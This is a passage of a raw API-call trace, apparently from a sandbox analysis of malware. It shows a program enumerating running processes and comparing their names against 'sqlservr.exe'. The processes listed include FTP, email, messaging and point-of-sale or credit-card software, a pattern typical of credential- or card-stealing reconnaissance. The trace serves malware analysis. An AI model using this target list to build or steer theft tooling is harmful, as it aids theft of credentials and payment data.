lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="earliest-ne-broken.exe") returned 260 [0081.908] VarBstrCmp (bstrLeft="e-broken.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.908] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="household.exe")) returned 1 [0081.909] GetLastError () returned 0x0 [0081.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="household.exe") returned 260 [0081.909] VarBstrCmp (bstrLeft="ousehold.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.909] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mary.exe")) returned 1 [0081.910] GetLastError () returned 0x0 [0081.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mary.exe") returned 260 [0081.910] VarBstrCmp (bstrLeft="mary.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.910] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0081.910] GetLastError () returned 0x0 [0081.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="3dftp.exe") returned 260 [0081.910] VarBstrCmp (bstrLeft="3dftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.910] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0081.911] GetLastError () returned 0x0 [0081.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="absolutetelnet.exe") returned 260 [0081.911] VarBstrCmp (bstrLeft="tetelnet.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.911] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0081.912] GetLastError () returned 0x0 [0081.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="alftp.exe") returned 260 [0081.912] VarBstrCmp (bstrLeft="alftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.912] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0081.912] GetLastError () returned 0x0 [0081.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="barca.exe") returned 260 [0081.912] VarBstrCmp (bstrLeft="barca.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.912] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0081.913] GetLastError () returned 0x0 [0081.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="bitkinex.exe") returned 260 [0081.913] VarBstrCmp (bstrLeft="bitkinex.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.913] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0081.913] GetLastError () returned 0x0 [0081.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="coreftp.exe") returned 260 [0081.913] VarBstrCmp (bstrLeft="coreftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.913] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0081.914] GetLastError () returned 0x0 [0081.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="far.exe") returned 260 [0081.914] VarBstrCmp (bstrLeft="far.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.914] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0081.915] GetLastError () returned 0x0 [0081.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="filezilla.exe") returned 260 [0081.915] VarBstrCmp (bstrLeft="ilezilla.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.915] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0081.915] GetLastError () returned 0x0 [0081.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="flashfxp.exe") returned 260 [0081.915] VarBstrCmp (bstrLeft="flashfxp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.915] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0081.916] GetLastError () returned 0x0 [0081.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fling.exe") returned 260 [0081.916] VarBstrCmp (bstrLeft="fling.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.916] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0081.916] GetLastError () returned 0x0 [0081.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="foxmailincmail.exe") returned 260 [0081.916] VarBstrCmp (bstrLeft="lincmail.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.916] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0081.917] GetLastError () returned 0x0 [0081.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="gmailnotifierpro.exe") returned 260 [0081.917] VarBstrCmp (bstrLeft="ifierpro.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.917] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0081.918] GetLastError () returned 0x0 [0081.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="icq.exe") returned 260 [0081.918] VarBstrCmp (bstrLeft="icq.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.918] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0081.918] GetLastError () returned 0x0 [0081.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="leechftp.exe") returned 260 [0081.918] VarBstrCmp (bstrLeft="leechftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.919] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0081.919] GetLastError () returned 0x0 [0081.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ncftp.exe") returned 260 [0081.919] VarBstrCmp (bstrLeft="ncftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.919] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0081.920] GetLastError () returned 0x0 [0081.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="notepad.exe") returned 260 [0081.920] VarBstrCmp (bstrLeft="notepad.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.920] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0081.921] GetLastError () returned 0x0 [0081.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="operamail.exe") returned 260 [0081.921] VarBstrCmp (bstrLeft="peramail.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.921] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0081.921] GetLastError () returned 0x0 [0081.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="outlook.exe") returned 260 [0081.921] VarBstrCmp (bstrLeft="outlook.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.921] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0081.922] GetLastError () returned 0x0 [0081.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="pidgin.exe") returned 260 [0081.922] VarBstrCmp (bstrLeft="pidgin.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.922] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0081.923] GetLastError () returned 0x0 [0081.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="scriptftp.exe") returned 260 [0081.923] VarBstrCmp (bstrLeft="criptftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.923] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0081.924] GetLastError () returned 0x0 [0081.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="skype.exe") returned 260 [0081.924] VarBstrCmp (bstrLeft="skype.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.924] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0081.934] GetLastError () returned 0x0 [0081.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="smartftp.exe") returned 260 [0081.935] VarBstrCmp (bstrLeft="smartftp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.935] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0081.936] GetLastError () returned 0x0 [0081.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="thunderbird.exe") returned 260 [0081.936] VarBstrCmp (bstrLeft="nderbird.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.936] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0081.937] GetLastError () returned 0x0 [0081.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="totalcmd.exe") returned 260 [0081.937] VarBstrCmp (bstrLeft="totalcmd.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.937] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0081.938] GetLastError () returned 0x0 [0081.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="trillian.exe") returned 260 [0081.938] VarBstrCmp (bstrLeft="trillian.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.938] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0081.939] GetLastError () returned 0x0 [0081.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="webdrive.exe") returned 260 [0081.939] VarBstrCmp (bstrLeft="webdrive.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.939] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0081.940] GetLastError () returned 0x0 [0081.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="whatsapp.exe") returned 260 [0081.940] VarBstrCmp (bstrLeft="whatsapp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.940] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0081.941] GetLastError () returned 0x0 [0081.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="winscp.exe") returned 260 [0081.941] VarBstrCmp (bstrLeft="winscp.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.941] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0081.942] GetLastError () returned 0x0 [0081.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="yahoomessenger.exe") returned 260 [0081.942] VarBstrCmp (bstrLeft="essenger.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.942] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0081.943] GetLastError () returned 0x0 [0081.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="active-charge.exe") returned 260 [0081.943] VarBstrCmp (bstrLeft="e-charge.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.943] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0081.944] GetLastError () returned 0x0 [0081.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="accupos.exe") returned 260 [0081.944] VarBstrCmp (bstrLeft="accupos.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.944] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0081.945] GetLastError () returned 0x0 [0081.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="afr38.exe") returned 260 [0081.945] VarBstrCmp (bstrLeft="afr38.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.945] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0081.946] GetLastError () returned 0x0 [0081.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="aldelo.exe") returned 260 [0081.946] VarBstrCmp (bstrLeft="aldelo.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.946] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0081.947] GetLastError () returned 0x0 [0081.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ccv_server.exe") returned 260 [0081.947] VarBstrCmp (bstrLeft="v_server.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.947] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0081.948] GetLastError () returned 0x0 [0081.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="centralcreditcard.exe") returned 260 [0081.948] VarBstrCmp (bstrLeft="editcard.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.948] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0081.949] GetLastError () returned 0x0 [0081.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="creditservice.exe") returned 260 [0081.949] VarBstrCmp (bstrLeft="tservice.exe", bstrRight="sqlservr.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.949] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0081.950] GetLastError () returned 0x0 [0081.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 